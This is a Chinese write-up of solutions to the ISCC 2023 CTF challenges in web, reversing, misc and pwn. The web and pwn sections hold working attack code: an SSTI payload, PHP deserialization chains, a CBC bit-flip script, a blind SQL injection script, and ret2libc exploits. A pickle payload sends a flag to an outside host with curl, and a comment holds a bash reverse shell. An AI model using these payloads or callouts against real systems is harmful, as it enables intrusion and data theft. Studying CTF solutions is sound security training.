ISCC练武
WEB
羊了个羊
F12后vue.global.js源代码
找到密文
然后两次base64解码
得到flag
小周的密码锁
首先使用brup暴力,遍历password,password2
发现当password=5的时候出现源代码
然后绕过if((substr(sha1($crypto),-6,6) === substr(sha1($user),-6,6)) && (substr(sha1($user),-6,6))
$a = 0;
while (1)
{
if (substr(sha1($a), -6, 6) === 'a05c53')
{
echo $a;
break;
}
$a++;
}
while (1)
{
$permitted_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$b=substr(str_shuffle($permitted_chars), 0, 6);
$c=$a^$b;
$permitted_chars = 'abcdefghijklmnopqrstuvwxyz';
$a=substr(str_shuffle($permitted_chars), 0, 6);
if (substr(sha1($c), -6, 6) === 'a05c53') {
echo $b."-----------------".$a;
break;
}
}
然后绕过第二if,通过改变字符串改变的个数在对比hash值即可得到flag
老狼老狼几点了
输入F12看源码
然后使用fastcoll来绕过if (substr($p1, 0, 10) === strval(time()))
if ($p1 !== $p2 && md5($p1) === md5($p2)),
然后使用php伪协议来读取flag.php
import requests
import os
import time
import urllib.parse
def secret(time):
nowtime = str(time)
print(nowtime)
file=open('et.txt','w')
file.write(nowtime)
file.close()
def get_read():
list=[]
file1=open('a_msg1.txt','rb')
file2 = open('a_msg2.txt', 'rb')
f1=file1.read()
f2=file2.read()
list.append(f1)
list.append(f2)
file2.close()
file1.close()
os.remove('a_msg1.txt')
os.remove('a_msg2.txt')
return list
if __name__ =='__main__':
url="http://47.94.14.162:10007/guess_time.php"
yvtime=int(time.time()+10.0)
secret(yvtime)
l1=get_read()
data={'param1':l1[0],'param2':l1[1],'_SESSION[abase64base64]':'asd";s:7:"base213";s:8:"function";s:4:"hack";s:4:"file";s:60:"php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=1.php";}'}
while(1):
if (yvtime-2)== int((time.time())):
res=requests.post(url,data=data)
file1=open('c.txt','w')
file1.write(res.text)
print(res.text)
file1.close()
Break
ISCC{dnlj1AZJpOoBQUAkxGEfzpquPkBu2H5F}
ChatGGG
就是ssti,过滤. class 等关键字,单引号’,{{
使用[]绕过.
使用hex编码绕过 class 等关键字
使用{%print()%}绕过 {{
Payload:
{%print(""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f"][0]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[140]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]"popen"["read"]())%}
输入flag得到flag
ISCC{2yBbV5VBDQEFFjEWSwE5fmjFhaIakirG}
Where_is_your_love
查看源代码发现3个文件
LoveStory.php中反序列化exp脚本
Pop链子
class boy::destruct()
↓↓↓
class girl::call()
↓↓↓
class helper::isset()
↓↓↓
class boy::toString()
↓↓↓
class helper::__get()
↓↓↓
class love_story::love()
<?php
class boy {
public $like;
public function __construct($a)
{
$this->like=$a;
}
}
class girl {
private $boyname;
public function __construct($a)
{
$this->boyname=$a;
}
}
class helper {
private $name;
private $string;
public function __construct($string,$a) {
$this->string = $string;
$this->name=$a;
}
}
class love_story {
public $fall_in_love = array(0=>"girl_and_boy");
}
$gir1 = new girl('a');
$hel1 = new helper('a','a');
$lov1 = new love_story();
$boy1 = new boy('a');
$hp1=new helper(array('string' => [new love_story(),"love"]),'0');
$bo1=new boy($hp1);
$hp2=new helper('a',$bo1);
$gi1=new girl($hp2);
$bo2=new boy($gi1);
$final=serialize($bo2);
echo urlencode($final);
得到一串密钥然后下载公钥和密文
获取n,然后分解质数
然后生成私钥
然后使用openssl rsautl -decrypt -in 1.enc -inkey private.pem -out 1.txt解码得到加密的源码
解密脚本
str1= ''
list1=[]
i=0
result=''
s= str
for str1 in range(0, len(s)):
if i+2>len(s):
break
list1.append(s[i:i + 2])
i=i+2
for i in list1:
i=int(i,base=16)
i=i^100
i=i-10
i=chr(i)
result=result+i
list1=reversed(result)
print("".join(list1))
然后rot13解密得到flag
上大号说话
.git泄露了源代码,密钥是32位的,源代码中加了28位,所以key是4位
可爆破代码,得到5MbG,然后进行python pickle反序列化,满足题目要求,发现返回一个txt本名字,然后在外带出来得到flag
from cryptography.fernet import Fernet
import base64
class ED:
def crypto(self, base_str):
self.file_key = '5MbG' # 1Aa 5MbG
self.cipher_suite = Fernet(self.generate_key(self.file_key))
return self.cipher_suite.encrypt(base_str)
@staticmethod
def generate_key(key: str):
key_byte = key.encode()
return base64.urlsafe_b64encode(key_byte + b'0' * 28)
def decrypto(self, base_str):
list1=[]
s = ''
for i in range(48, 123):
for o in range(48, 123):
for w in range(48, 123):
for a in range(48, 123):
s = s + chr(i) + chr(o) + chr(w) + chr(a)
list1.append(s)
s = ''
for i in list1:
self.file_key = i # 1Aa
try:
self.cipher_suite = Fernet(self.generate_key(self.file_key))
f=self.cipher_suite.decrypt(base_str)
print(i," ",f)
break
except:
print(i)
if __name__ == '__main__':
a=b'gAAAAABkVkZZi6AjDCN_9Lo-fztjvS6OmTduXr01KgyEclBoLFIbGtSpbgjkZbOjEKqp4wAY6_LaSs3QPBh2ozi-ykgjoqvX1l8k92_93OY_TNCmrmMYCP2Y_u76jhA-DpsU_HcFyUOAYSfKF7wQTJYa5MVGjA73SgfA7lfX5DElTwO581BSf3o='
ed = ED()
print(ed.decrypto(a))
然后进行加密
from cryptography.fernet import Fernet
import base64
class ED:
def crypto(self, base_str):
self.file_key = '5MbG' # 1Aa 5MbG
self.cipher_suite = Fernet(self.generate_key(self.file_key))
return self.cipher_suite.encrypt(base_str)
@staticmethod
def generate_key(key: str):
key_byte = key.encode()
return base64.urlsafe_b64encode(key_byte + b'0' * 28)
def decrypto(self, base_str):
list1=[]
s1 = ''
for i in range(48, 123):
for c in range(48, 123):
for v in range(48, 123):
for a in range(48, 123):
s = s + chr(i) + chr(c) + chr(v) + chr(a)
list1.append(s1)
s = ''
for i in list1:
self.file_key = i
try:
self.cipher_suite = Fernet(self.generate_key(self.file_key))
f=self.cipher_suite.decrypt(base_str)
print(i," ",f)
break
except:
print(i)
if __name__ == '__main__':
a=b'\x80\x03c__main__\nMember\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl http://ip:port/`cat flagucjbgaxqef.txt|base64`\nb0c__main__\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x08\x00\x00\x00mabaoguoX\x06\x00\x00\x00randomcmabaoguo\nrandom\nX\x06\x00\x00\x00gongfucmabaoguo\ngongfu\nub.'
'
ed = ED()
print(ed.crypto(a))
然后解base64得到flag
ISCC单身节抽奖
登录页面源代码有提示一个php文件
F12抽奖页面,发现有token,把token base64解密
把et3改为blasterr,这里存在php反序列化字符逃逸漏洞,利用漏洞将sdog改为1
所以注册登录账户qwqwqw";s:4:"sdog";i:1;},密码为1。然后登录然后下载凭证
然后通过e来绕过,将check_time改为0.432000e,将file改为apidemo.php,下载apidemo.php源码
然后xxe使用file访问/flag
滥用职权
首先就是需要注册一个新号,然后利用cbc翻转攻击登录,需要bp抓包改大写字母
然后但是需要CBC反转来绕过认证,脚本如下
import base64
import requests
import urllib.parse
iv_raw='Jh5f1efA%2FP0aK4Ja5q6%2Flg%3D%3D' #这里填写第一次返回的iv值
cipher_raw='YKdGRbYAyVv8G6sI5nTWyTfXFQHzVvdf4DjoLGO3DwKdXf%2FSjYwFrl4xX9DhpyRb82wrxFam4nYvKjtClYr58eiz%2BBW19RHESbDTz8fA2Y6Ffez4YxW788%2BeDRi6OyZ%2B' #这里填写第一次返回的cipher值
print ("[*]原始iv和cipher")
print ("iv_raw: " + iv_raw)
print ("cipher_raw: " + cipher_raw)
print ("[*]对cipher解码,进行反转")
cipher = base64.b64decode(urllib.parse.unquote(cipher_raw))
\#a:3:{s:8:"deppartm";s:7:"orgnize";s:8:"username";s:3:"123";s:8:"password";s:3:"123";}
\#a:3:{s:8:"deppar
\#tm";s:7:"orgnize
\#";s:8:"username"
\#;s:3:"123";s:8:"
\#password";s:3:"1
\#23";}
xor_cipher = cipher[0:9]+bytes([ord(chr(cipher[9]))^ord('T')^ord('t')])+cipher[10:]
\#xor_cipher2=cipher[0:25]+ chr(ord(cipher[25]) ^ ord('z') ^ ord('a')) + cipher[25:] #如果修改的是第三密文组,要对前一个密文修改
\#print(xor_cipher)
xor_cipher=urllib.parse.quote(base64.b64encode(xor_cipher))
print ("反转后的cipher:" + xor_cipher)
反转之后还需要重新算一下偏移
脚本如下
<?php
\#计算iv
$res = base64_decode('txkvKlgRty+WzPGCJ8aK4XRtIjtzOjU6InRlY2huIjtzOjg6InVzZXJuYW1lIjtzOjM6IjEyMyI7czo4OiJwYXNzd29yZCI7czozOiIxMjMiO30=');
$iv = base64_decode(urldecode('Jh5f1efA%2FP0aK4Ja5q6%2Flg%3D%3D')); 里放cookie中的iv
$plaintext = 'a:3:{s:8:"deppar';
$new_iv = '';
for ($i = 0; $i < 16; $i ++){
$new_iv = $new_iv . chr(ord($iv[$i]) ^ ord($res[$i]) ^ ord($plaintext[$i])); IV
}
echo urlencode(base64_encode($new_iv));
?>
这样就可以使用自己注册的号进入策划部
成功伪造身份
查看提示以为是xss+csrf来让bot点击购买flag,但是一直行不通,后来发现存在类似条件竞争
随手一登陆,发现有个admin账户,利用上面的cbc绕过,然后两个号同时给彼此任免,可以提高level,而flag好像是需要100000可以购买,猜测level就是这个钱
然后利用bp抓包进行条件竞争,攒够100000之后购买flag得到flag
ISCC内部零元购
import base64
import requests
#eval commands subprocess exec global popen system os
# timeit.timeit("__import__('os').system('curl
`ls`.wd7vst.dnslog.cn')")
#__import__('os').system('bash -c "bash -i >& /dev/tcp/*.*.*.*/8888
0<&1 2>&1"')
opcode1=b'''(V\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u0
05f\u0028\u0027\u0(__import__('os').system('bash -c "bash -i >&
/dev/tcp/*.*.*.*/8888 0<&1 2>&1"')unicode 编码)
timeit
timeit
R.'''
payload=base64.b64encode(opcode1).decode()
url = "http://47.94.14.162:10009/"
header = {"Cookie":"session="+payload+";
Auth=eyJ0eXAiOiJqd3QiLCJhbGciOiJSUzI1NiIsIkFjY2Vzc19JUCI6IjE3MS4xMC45Ny
4zOSJ9.eyJuYW1lIjoiR3Vlc3QiLCJleHAiOjE2ODM5NjAzNjd9.BIrQrrnk35o72XTtX68CXwxtO13Zg14SpPXM97F4SvCZKhQigwE_R6Xc7kDVJLQITvnoDvN9
NdGuLCp-IB6Pv1XDcCfUKHNKy5Jg6Om4-
RFmqFWZudltpYzrUXwJ_sHFmBcFACnkI3GUimwr9Y4jrswHQEjtAxT04nHGM_LPvc"}
r = requests.get(url,headers=header)
print(r.text)
ISCC疯狂购物节
进入 登录注册
注册之后获取csrftoken 和 sessionid,使用以下exp
import requests
import string
from time import sleep
# proxies=pro,
pro = {'http': 'http://127.0.0.1:8011',
'https': 'http://127.0.0.1:8011'
}
# 绕过are you kidding me
cookies ={
'csrftoken': "up2e2gJOFqgNVlJcEmH3QIkm5G0o4P8zjFfrzR9DqGskO9kbqpUOZggI24FQoqfT",
'sessionid': "hhfenh20s5j70vh5lm380ux1znib8tcb",
}
headers = {
'Acept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
#cookie":
'Upgrade-Insecure-Requests' : '1',
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.35',
}
def str_to_hex(string):
result = ''
for i in string:
result+=hex(ord(i))[2:]
return result
# 找到flag所在字段
def find_flag_col():
url = "http://47.94.14.162:10001/Details/search?id=4875610)||{} like binary 0x5f25 %23"
with open(r'flag.txt','r') as f:
print(f)
for flag in f:
payload = url.format(flag.strip('\n'))
print(payload)
r = requests.get(url=payload,cookies=cookies,headers=headers)
# print(r.text)
sleep(1)
if r.status_code != 500:
print(r.text)
print("Found:[+]:{}".format(flag))
#已经找到字段为fl4g
# 正则过滤了,只能0x+四个字符
url = "http://47.94.14.162:10001/Details/search?id=4875610)||fl4g like binary 0x25{}{}25 %23"
alphabet="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\]^`{|}~"
result= '{'
for i in range(1,100):
for ch in alphabet:
payload = url.format(str_to_hex(result[-1]),str_to_hex(ch))
# payload = url.format(str_to_hex(ch))
print(payload)
r = requests.get(url=payload,cookies=cookies,headers=headers)
# print(r.text)
sleep(1)
if "too fast" in r.text:
print("too fast")
sleep(2)
r = requests.get(url=payload,cookies=cookies,headers=headers)
if "576O576K576K" in r.text:
print(payload)
result += ch
print("注入成功:[+]", result)
break # 这一位已经跑出来了,可以break掉然后下一轮循环跑下一位数据了
# 如果已经跑到了字母表最后一位都还没有进到上面的if然后break,说明这轮循环没跑出来正确结果,说明注入完成(或者注入payload写的有问题注入失败),脚本没必要继续跑下去了
if ch == alphabet[-1]:
print("注入完成")
exit(0)
REVERSE
JustDoIt
用ida打开文件进行分析
发现v5是输入的字符串
然后调用sub_487C91()函数对字符串进行加密,然后在for循环中对加密之后的字符串与v8进行比较,所以v8就是flag的密文
然后看一下加密函数
发现这里都是比较简单的运算,就从后往前直接倒着写一遍
exp:
#include<bits/stdc++.h>
using namespace std;
int main(){
char a1[16];
a1[0] = 23;
a1[1] = 68;
a1[2] = 68;
a1[3] = 15;
a1[4] = 94;
a1[5] = 10;
a1[6] = 8;
a1[7] = 10;
a1[8] = 6;
a1[9] = 95;
a1[10] = 8;
a1[11] = 24;
a1[12] = 87;
a1[13] = 3;
a1[14] = 26;
a1[15] = 'i';
char a2[] = {73,83,67,67};
int a3 = 16;
for(int i = 1; i < a3; i++){
a1[i] ^= *a2;
a1[i] -= a2[i%4] % 5;
a1[i] = a1[i] + a2[2]%6 + a2[3]/6;
a1[i] -= a2[1]/7 + *a2%7;
}
for(int i = 1; i < a3; i++){
a1[i] -= i;
a1[i] += 60;
cout << a1[i];
}
}
因为这里没有写交换的,所以得到的flag有一点点问题,但是不影响观看
flag : ISCC{Just~Do~It}
奇门遁甲
这里发现一个do while循环,然后在循环内部有好多函数,跟进查看,发现就是输出这些字符串
观察这些字符串,怀疑这些碎片就是flag
然后观察这个循环输出的顺序
这里发现是根据v3来输入信息的然后分析v3的顺序即可得到flag
经过分析输入为31284567的时候为正确顺序,这里可以直接进入函数进行提取,也可以运行程序对flag进行提取
flag:ISCC{AKlFQ%iHCC6lik4igYVr#ue0}
变形记
这里找mian函数进行反汇编,然后得到密文
然后经过动态调试发现密文是先将输入的字符串也就是flag进行压缩,吧相同的字符给换成数字作为后缀,也就是说aaa经过压缩之后变成a2
然后对字符串进行base64加密,最后将加密结果进行字符串的逆置得到最终的密文
所以解密就是先将密文逆置,然后解base64,最后将字符串扩展
最终得到flag为:ISCC{cyyysUsCQsssBsaVayUV}
Convert
分析函数,发这里v8和v9其实是一个数组,然后v5作为输入经过函数加密,最后在for循环内与v8数组进行比较,所以v8为密文
然后看一下加密函数
也是很简单的逻辑,这里直接逆运算即可
exp:
#include <bits/stdc++.h>
using namespace std;
int main(){
int v6 = 23,j=0;
char v10[23] = {40, 48, 36, 36, 98, 26, 23, 28, 48, 64, 65, 55, 126, 57, 54, 64, 41, 57, 84, 72, 49, 67, 115};
char a2[] = "ISCC";
for (j = 0; j < 4; ++j)
{
v10[j + 16] -= a2[j] / 5;
v10[j + 12] -= v10[j + 4];
v10[j + 8] -= 2 * j;
v10[j + 4] -= a2[j] % 5;
v10[j] -= j ^ -(a2[j] % 4);
}
for (int i = 0; i < v6; i++)
{
v10[i] -= i;
v10[i] += 32;
cout << char(v10[i]);
}
return 0;
}
运行得到flag:ISCC{2/3HUSF0215+8UH=N}
Pull the Wool Over People’s Eyes
分析程序,发现这里是先调用函数生成一个字符串,然后调用do while循环,将生成的字符串与输入的flag进行异或
生成的字符串可以通过动态调试得到
字符串为:ISCC{ACYeeeloorrsuv}
这里的找到二进制密文,将其8为一组转为十进制与字符串进行异或即可得到flag
exp:
import libnum
key = b'ISCC{ACYeeeloorrsuv}'
flag = '0000000000000000000000000000000000000000000001010011101101101101001111110001010000100111010111110010110001011010001010100011110100101010000110100010000000000000'
f = []
for i in range(0,len(flag),8):
t = ""
for j in range(8):
t += flag[i+j]
f.append(int(t,2))
for i in range(len(f)):
print(chr(key[i]^f[i]),end="")
运行得到flag:ISCC{Dx4ZqB3C5XOYoV}
Congratulations
这里同样是v5为输入,然后调用两个函数进行加密,然后与v9进行比较,所以v9为密文
第一个加密函数为位移操作,相当于ceasar
第二个就是比较常规的运算,直接倒着写一遍就行
exp:
#include <bits/stdc++.h>
using namespace std;
int main() {
char a[26];
a[0] = -91;
a[1] = 67;
a[2] = 83;
a[3] = -108;
a[4] = 84;
a[5] = 73;
a[6] = -83;
a[7] = -69;
a[8] = 72;
a[9] = 119;
a[10] = 88;
a[11] = -24;
a[12] = 81;
a[13] = 95;
a[14] = -94;
a[15] = 70;
a[16] = 72;
a[17] = -106;
a[18] = 118;
a[19] = 114;
a[20] = -127;
a[21] = -70;
a[22] = -84;
a[23] = 9;
a[24] = -9;
a[25] = '_';
char a2[] = "ISCC";
int a3 = 26;
for(int i=a3-2; i >=0; i--) {
*(a + i) ^= *(a2 + 1);
}
for(int j=a3-2; j >= 0; j--) {
*(j + a) += *(j + a + 1);
}
for(int i=0; i < 26; i++) {
a[i] += 30;
}
for(int i=0; i < 26; i++) {
cout << a[i];
}
}
运行得到位移前的flag:HRBB{tZ\tY5*omap[@{V5cz{!}
得到flag
CrackMePlease
分析函数,发现对输入的flag基本上没有操作,然后这里主要就是生成一个字符串与flag进行比较,所以直接动态调试拿flag
得到flag:ISCC{C\);}%\j}
《狂飙》-1
打开synthesis
发现如果运行不会出现任何结果,需要将传入var8的796B159ACD626B88修改
为其他值才可以添加配方
查看recipe文件,可以得到每个配方的哈希值
分析可得加入的材料是4-chloroisatin,得到的产物是Ammosamide B,传入的
var8应该为0x50d7c32f4a659。
接下来直接输出fl ag即可
mod = 48
a1 = 0x50d7c32f4a659
a2 ="4-chloroisatin"
a3 ="Ammosamide B"
mod_out = (int((a1 % 100000) % mod)) ^ (mod * (int)(a1 % 100000))
flag = "ISCC{" + str(mod_out) + "_" + a2 + "_" + str(a1) + "_" +a3 + "}"
print(flag)
《狂飙》-2
这个题使用了上一题的处理过程0x50d7c32f4a659作为密钥对密文进行aes解
密,解密出的数据可以分离出一个压缩包
压缩包有密码,使用0x50d7c32f4a659的十进制可以解压
解压后又得到一个elf程序
这个是一个使用mov进行混淆的程序,动静态结合分析后发现,里面大致执行了三
种运算,加16,异或2和减44,同时还有一串明文ISCC{tHe_5eY@
找到对应密文后,写个脚本解密即可得到fl ag
a = [0x19, 0x17, 0x08, 0x0C, 0x0D, 0x2B, 0x16, 0x0D, 0x18,
0x33,
0x0A, 0x05, 0x3B, 0x08, 0x14, 0x4A, 0x07, 0x28, 0x5F,
0x40,
0x36, 0x08, 0x50, 0x37, 0x50, 0x2A, 0x2F, 0x0C, 0x2B,
0x52,
0x24, 0x63]
print("ISCC{tHe_5eY@",end="")
for i in a:
i -= 16
i^=2
i+=44
print(chr(i),end="")
MISC
好看的维吾尔族小姐姐
下载附件发现是压缩包,解压得到文件古力娜扎,修改文件后缀为png得到一张图片,看起来是半张的,把图片用十六进制工具打开,修改高度
得到
然后datamatrix扫码得到
;521#&;33#&;101#&;011#&;111#&;001#&;801#&;801#&;101#&;911#&;59#&;611#&;501#&;59#&;611#&;111#&;301#&;59#&;711#&;111#&;121#&;321#&;76#&;76#&;38#&;37#&
发现为逆置的unicode编码,转换后解码
消息传递
用Wireshark打开流量包,在tcp流为30的时候找到一个邮件
得到:
username:iscc_test1@126.com
Password:WRWAALIUWOHZAPQW
在邮件下面得到一个压缩包,将其提取出解base64
得到rar,解压发现需要密码
然后继续分析流量包,在第36条流量中找到
USER iscc_test2@126.com
PASS FTQIPMVJFOKHHZUZ
在第56条流量中找到图片,将其提取出来
将图片用foremost分离得到提示
得到压缩包密码:WRWAALIUWOHZAPQWFTQIPMVJFOKHHZUZ
解压之后发现全部为黑白照片
然后图片数量刚好可以被8整除,所以猜测是二进制写脚本提取
exp:
import cv2
import libnum
t = ""
for i in range(1,113):
a = cv2.imread(str(i)+".png")
a = list(a)
if(str(a[0][0])=="[255 255 255]"):
t+="0"
else:
t+="1"
print(libnum.n2s(int(t,2)))
运行得到flag
汤姆历险记
这个题当时写的时候非预期了,直接用的消息传递这题最后一步得到的flag然后与字典替换得到正确的flag
在消息传递中最后一步得到的flag为:ISCC{i2s0c2c3}
然后用所给定的字典来替换大括号的内容得到flag:ISCC{fvprcvca}
人生之路
解压得到压缩包和图片,压缩包密码为图片的名字:人生之路.jpeg
将压缩包解压得到:
xTuCmTuCxT uTmCxTmCuT uTmTxT uTmTxT uCmCuCxCmCxC xTuCmT xTuCmT muCmCqCxCquCmxCmC mxCqxCmuCmC xTuTmTuCxT uTmTxTqCuC mTqCxTqCmT uTqTxTmTmxC mTqTxTmTuT mTqTxTmCuT xTuTmCxTuTmCxT muCmCqCxCquCmxCmC uTmCxTmCuT muCmCqCxCquCmxCmC mTxTqT xCmCxCuCmCuC
根据提示位移,将其进行ceaser解密,得到:
dZaIsZaIdZ aZsIdZsIaZ aZsZdZ aZsZdZ aIsIaIdIsIdI dZaIsZ dZaIsZ saIsIwIdIwaIsdIsI sdIwdIsaIsI dZaZsZaIdZ aZsZdZwIaI sZwIdZwIsZ aZwZdZsZsdI sZwZdZsZaZ sZwZdZsIaZ dZaZsIdZaZsIdZ saIsIwIdIwaIsdIsI aZsIdZsIaZ saIsIwIdIwaIsdIsI sZdZwZ dIsIdIaIsIaI
然后wsad为方向,然后Z和I控制移动的距离在纸上作画得到flag:ISCC{TTAYFGHQDPEASAU}
mystery of bits
解压得到png,发现高度被修改,然后将高度改为0x438
然后用stegsolve分析图片
发现隐藏信息
横着看得到压缩包密码:ysafao245hfdisi
解压得到一个wav文件,在文件尾部发现隐藏信息
然后用stegpy工具跑一下
然后将字符串转为二维码,扫码得到flag
ISCC{congratulation_and_it_is_real}
通信方式
解压缩包,得到wav音频,然后经过分析发现其左右声道有些区别,然后写脚本计算其差值,发现差值为1和2,猜测为01字符串转二维码,写脚本将其转换一下
exp:
import scipy.io.wavfile as wavfile
from PIL import Image
from zlib import *
samplerate, data = wavfile.read('telegram2wechat.wav')
left_data = []
right_data = []
for item in data:
left_data.append(item[0])
right_data.append(item[1])
sub = [l - r for l, r in zip(left_data, right_data)]
tmp = ""
for i in sub:
if(i == 1):
tmp += '0'
elif(i == 2):
tmp += '1'
with open('erweima.txt','w') as f:
f.write(tmp)
得到二进制数据:
0000000100001000111111100110001111000011010000000011111011100111110110101001000100101110001011111001000101010110100000110001110011001011100101000100100010110001110001100101010001011000110110100010010001010100110111010000000100111101001111010001001111101110111111110100111011111011000011101111100000000101010101010101010101010101010101010000000111111111101101100111001110110001001110101111111110110101111000001110010000010011110111011011010101011001101101110000010011110000011001100100010110010100010001000111010010110101111010111010110101110101111111000100011001010001111000100001101010011010000111001111001111000000000111100100100011110100001101011101001100101110001000010100111010010010110000101110011011101100101110100101000001010001101011011011010011111100010000000000100010011101010011001100111000010111010111011100110001000000001101110001001011111010010000001110101101001001011100100001010100100010111010001000010001010111010011111100001111100001100001100001111101110101111101010101000000100101000111100101011011110101001001111101010001111110001101100101010110110011001101101100000100001001110100000001000000000000000100011000111011010111001010111001111111111100111010110101010101011010010101010100001000101111010100001111001110000001100111101110000100011101001110000001110000011010011110100000010101000001110000010100011011011101010000100001010000111101010101010000010011000001100110110000010111110101010101010111111101010101010111110100011001110000110100011011110101010000100010100101000101001101000011010101001000010101000101000000111110110011110101110101100001010101100101011010101111100001010000110001000111110101110111101111111001010111000011000101010111010101010001101010001101100110010101110101100000100111110000010100001101000101011111011100111111000111000000010101101011001011011101000001110100011011000100010010111100010101010100000001010110001110111000010001001000110101000001010010010101110011000111010100100101101111011001010111010010001011000111010111000101101000000101110000110000000110011111111101001010110100111001011011001100111001110000000111110101001110010101101110010111010100001011111011100101110010001110100111010010001110000001000101001101001111010000011101010011010000010000100010111001000000001001100101011000010111010011010001011101010111010011010011110000001110001011101111101011110000100100011001010101100000110110010000000110011100100111011110010011110111001011000
转为二维码:
扫码得到:
5337 5337 2448 2448 0001 2448 0001 2161 1721 1869 0759 7741 2583 4430 0001 3945 0260 6671 0008 3296 5337 2606 3320 0001 5337 2606 2496 5337 0676 0037 5337 0260 5337 2606 2161 1721
将其进行中文莫斯电码解码得到:
然后根据读音谐音得到flag:ISCC{ZNFLUIYPWWCZCTF}
你相信AI吗?
直接读取txt文件内容,转成像素填入,得到手写数字的结果
import numpy as np
from PIL import Image
# 图像宽度和高度
width, height = 28, 0
# 依次读取每个文件,将其转换为图像并保存
for i in range(32):
# 读取浮点数数据
with open(f'{i}.txt', 'r') as f:
data = f.read()
data = np.fromstring(data, sep='\n')
# 计算图像高度
height = len(data) // width
# 将浮点数转换为 8 位无符号整数
data = np.clip(data, 0, 255)
data = data.astype(np.uint8)
# 创建图像并保存
img = Image.fromarray(data.reshape((height, width)))
img.save(f'png/{i}.png')
然后就是提取数字进行爆破
import itertools
import contextlib
import string
ciphertext = ['51', '59', '75', '95', '56', '46', '669', '74', '22', '92', '28', '72', '77', '682', '47', '02', '77', '633', '92', '43', '56', '633', '688', '59', '22', '633', '685', '57', '683', '56', '96', '96']
def has_visible_bytes(input_bytes):
return all(chr(byte) in string.printable for byte in input_bytes)
with open("out.txt", "wb") as output_file:
for permutation in itertools.permutations("0123456789", 10):
translation_table = str.maketrans("0123456789", ''.join(permutation))
translated_text = [string.translate(translation_table) for string in ciphertext]
with contextlib.suppress(Exception):
plaintext = bytes([int(character) for character in translated_text])
output_file.write(plaintext + b"\n")
运行得到flag
菜鸟黑客-1
查看主机密码
然后在桌面上发现flag.txt
但是直接提取不出来,这里换一个工具使用R-studio
成功提取出flag.txt
得到DES加密的密文:DES{U2FsdGVkX19WerE/OZodh7liigwc7fzf8eWqByR8ixxENEvPwPpWzm2EL2f90UXO}
然后解des,key为ISCC2023
解密得到flag
菜鸟黑客-2
在桌面上发现两个图片
将其提取出来
对那个emoji.jpg进行分离得到一个压缩包
解压发现需要密码,试了一下ISCC2023发现正确,得到一个维吉尼亚密码
使用命令:python2 vol.py -f 1.raw –profile=Win7SP1x64 editbox
得到提示
网站搜索的是emoji莫斯密码
所以猜测emoji的眼睛是莫斯密码
得到:./–/—/.—/../../…/..-./..-/-.
解密:emojiisfun
然后解维吉尼亚密码:得到flag
PWN
三个愿望
Checksec
拖进ida
Secondwish函数:
Canary偏移位11。
thirdwish函数:
Exp:
from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')r=remote("59.110.164.72",10023)
libc = cdll.LoadLibrary("./libc-2.31.so")
libc.srand(2)
p=flat(b'a'*(0xe),2)
r.sendlineafter("Now you can make your first wish\n",p)
n=str(libc.rand() % 9 + 1)
r.sendlineafter("Please give me a number!\n",n)
p1=b"%11$p"
r.sendlineafter("Now you can make your second wish!\n",p1)
canary=int(r.recv(18),16)
print('canary='+str(hex(canary)))
r.sendlineafter("Please give me a number!\n",n)
p2=flat(b'a'*(0x28),canary,b'a'*(0x8),0x4011f5)
r.sendlineafter("Now you can make your final wish!\n",p2)
# r.sendline("cat flag.txt")
r.interactive()
Login
Checksec
拖进ida:
此题没给后门函数,所以第一次payload构造要先泄露puts函数真实地址,然后计算libc基地址,再计算system与/bin/sh,最后再返回该函数,再构造payload拿到shell。
Exp;
from pwn import *
r=process('./Login')
elf=ELF('./Login')
libc=ELF('./libc-2.23.so')
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
main=0x400796
context(arch='amd64',os='linux',log_level='debug')
poprdi=0x4008c3
ret=0x400599
p=b”a”*7+p32(0x15CC15CC)
r.sendafter("input the username:\n",p)
pause()
p1=flat(b'a'*(0x28),poprdi,putsgot,putsplt,main,word_size=64)
r.sendlineafter("input the password:\n",p1)
pause()
r.recvline()
addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
pause()
base=addr-libc.sym['puts']
system=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh\x00'))
p=b”a”*7+p32(0x15CC15CC)
r.sendafter("input the username:\n",p3)
pause()
p4=flat(b'a'*(0x28),ret,poprdi,sh,system,word_size=64)
r.sendlineafter("input the password:\n",p4)
pause()
r.interactive()
第一用笔-1
shecksec
拖进ida
Exp:
from pwn import *
p=process("./usage_of_pen")
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./usage_of_pen')
libc=ELF('./libc.so.6(1)')
r.sendafter(b"'nvfeng00'!\n",b"dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000")
ret=0x4006c1
rdi=0x400c53
putsplt=elf.plt['puts']
putsgot=elf.got['puts']
p1=b'a'*(0x20+8)+p64(0x400b0f)
r.sendafter(b"space",p1)
pause()
p2=flat(b'a'*(0x28),rdi,putsgot,putsplt,0x400b0f,word_size=64)
r.sendline(p2)
r.recvuntil(b"\n")
addr=u64(r.recv(6).ljust(8,b'\x00'))
print("addr-->",hex(addr))
pause()
libcbase=addr-libc.symbols['puts']
print(hex(libcbase))
system=libcbase+libc.symbols['system']
sh=libcbase+next(libc.search(b'/bin/sh\x00'))
p3=flat(b'a'*(0x28),ret,rdi,sh,system,word_size=64)
r.sendline(p3)
r.interactive()
Eat_num
Checksec
